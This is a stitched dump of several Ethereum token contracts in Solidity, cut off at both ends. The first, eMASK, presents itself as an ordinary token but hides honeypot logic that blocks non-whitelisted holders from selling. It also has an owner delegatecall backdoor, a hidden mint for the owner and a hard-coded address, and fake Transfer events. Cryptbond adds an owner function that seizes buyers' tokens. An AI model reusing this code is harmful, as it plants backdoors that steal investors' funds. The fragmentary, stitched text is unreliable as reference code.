_balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } //heyuemingchen contract eMASK { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1128272879772349028992474526206451541022554459967)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }

True

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/** * Do you have any questions or suggestions? Emails us @ <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="3e4d4b4e4e514c4a7e5d4c474e4a5c51505a10505b4a">[email protected]</a> * * ===================== CRYPTBOND NETWORK =======================* oooooooo8 oooooooooo ooooo oooo oooooooooo ooooooooooo oooooooooo ooooooo oooo oooo ooooooooo o888 88 888 888 888 88 888 888 88 888 88 888 888 o888 888o 8888o 88 888 88o 888 888oooo88 888 888oooo88 888 888oooo88 888 888 88 888o88 888 888 888o oo 888 88o 888 888 888 888 888 888o o888 88 8888 888 888 888oooo88 o888o 88o8 o888o o888o o888o o888ooo888 88ooo88 o88o 88 o888ooo88 oooo oooo ooooooooooo ooooooooooo oooo oooo ooooooo oooooooooo oooo oooo 8888o 88 888 88 88 888 88 88 88 88 o888 888o 888 888 888 o88 88 888o88 888ooo8 888 88 888 88 888 888 888oooo88 888888 88 8888 888 oo 888 888 888 888o o888 888 88o 888 88o o88o 88 o888ooo8888 o888o 8 8 88ooo88 o888o 88o8 o888o o888o * * ===============================================================* **/ /* For ICO: 50% - For Founders: 10% - For Team: 10% - For Advisors: 10% - For Airdrop: 20% ✅ ICO Timeline: 1️⃣ ICO Round 1: 1 ETH = 1,000,000 CBN 2️⃣ ICO Round 2: 1 ETH = 900,000 CBN 3️⃣ ICO Round 3: 1 ETH = 750,000 CBN 4️⃣ICO Round 4: 1 ETH = 600,000 CBN ✅ When CBN list on Exchanges: - All token sold out - End of ICO */ /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale. * Crowdsales have a start and end timestamps, where investors can make * token purchases and the crowdsale will assign them tokens based * on a token per ETH rate. Funds collected are forwarded to a wallet * as they arrive. */ pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { if(msg.sender != owner){ revert(); } else{ require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } } /** * @title ERC20Standard * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract Cryptbond is ERC20Interface,Ownable { using SafeMath for uint256; uint256 public totalSupply; mapping(address => uint256) tokenBalances; string public constant name = "Cryptbond"; string public constant symbol = "CBN"; uint256 public constant decimals = 0; uint256 public constant INITIAL_SUPPLY = 3000000000; address ownerWallet; // Owner of account approves the transfer of an amount to another account mapping (address => mapping (address => uint256)) allowed; event Debug(string message, address addr, uint256 number); function CBN (address wallet) onlyOwner public { if(msg.sender != owner){ revert(); } else{ ownerWallet=wallet; totalSupply = 3000000000; tokenBalances[wallet] = 3000000000; //Since we divided the token into 10^18 parts } } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(tokenBalances[msg.sender]>=_value); tokenBalances[msg.sender] = tokenBalances[msg.sender].sub(_value); tokenBalances[_to] = tokenBalances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= tokenBalances[_from]); require(_value <= allowed[_from][msg.sender]); tokenBalances[_from] = tokenBalances[_from].sub(_value); tokenBalances[_to] = tokenBalances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } uint price = 0.000001 ether; function() public payable { uint toMint = msg.value/price; //totalSupply += toMint; tokenBalances[msg.sender]+=toMint; Transfer(0,msg.sender,toMint); } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return totalSupply - tokenBalances[address(0)]; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Accept ETH // ------------------------------------------------------------------------ function withdraw() onlyOwner public { if(msg.sender != owner){ revert(); } else{ uint256 etherBalance = this.balance; owner.transfer(etherBalance); } } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant public returns (uint256 balance) { return tokenBalances[_owner]; } function pullBack(address wallet, address buyer, uint256 tokenAmount) public onlyOwner { require(tokenBalances[buyer]<=tokenAmount); tokenBalances[buyer] = tokenBalances[buyer].add(tokenAmount); tokenBalances[wallet] = tokenBalances[wallet].add(tokenAmount); Transfer(buyer, wallet, tokenAmount); } function showMyTokenBalance(address addr) public view returns (uint tokenBalance) { tokenBalance = tokenBalances[addr]; } }

True

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/** *Submitted for verification at Etherscan.io on 2021-06-25 */ // File: localhost/token/interface/ICloneFactory.sol //SPDX-License-Identifier: SimPL-2.0 pragma solidity ^0.6.0; interface ICloneFactory { function clone(address prototype) external returns (address proxy); } // File: localhost/token/createToken/CloneFactory.sol //SPDX-License-Identifier: SimPL-2.0 pragma solidity ^0.6.0; // introduction of proxy mode design: https://docs.openzeppelin.com/upgrades/2.8/ // minimum implementation of transparent proxy: https://eips.ethereum.org/EIPS/eip-1167 contract CloneFactory is ICloneFactory { function clone(address prototype) external override returns (address proxy) { bytes20 targetBytes = bytes20(prototype); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore( add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) proxy := create(0, clone, 0x37) } return proxy; } }

True

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/** *Submitted for verification at Etherscan.io on 2022-02-16 */ /** * * * */ // CheesyCrust.io - t.me/CheesyCrustToken pragma solidity ^0.8.9; // SPDX-License-Identifier: Unlicensed interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { //function _msgSender() internal view virtual returns (address payable) { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(block.timestamp > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IAirdrop { function airdrop(address recipient, uint256 amount) external; } contract Cheesycrusttoken is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private botWallets; bool botscantrade = false; bool public canTrade = false; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; address public marketingWallet; string private _name = "Cheesy Crust Token"; string private _symbol = "CHEESYCRUST"; uint8 private _decimals = 9; uint256 public _taxFee = 5; uint256 private _previousTaxFee = _taxFee; uint256 public marketingFeePercent = 38; uint256 public _liquidityFee = 8; uint256 private _previousLiquidityFee = _liquidityFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 1000000000000 * 10**9; uint256 public numTokensSellToAddToLiquidity = 1000000000000 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event 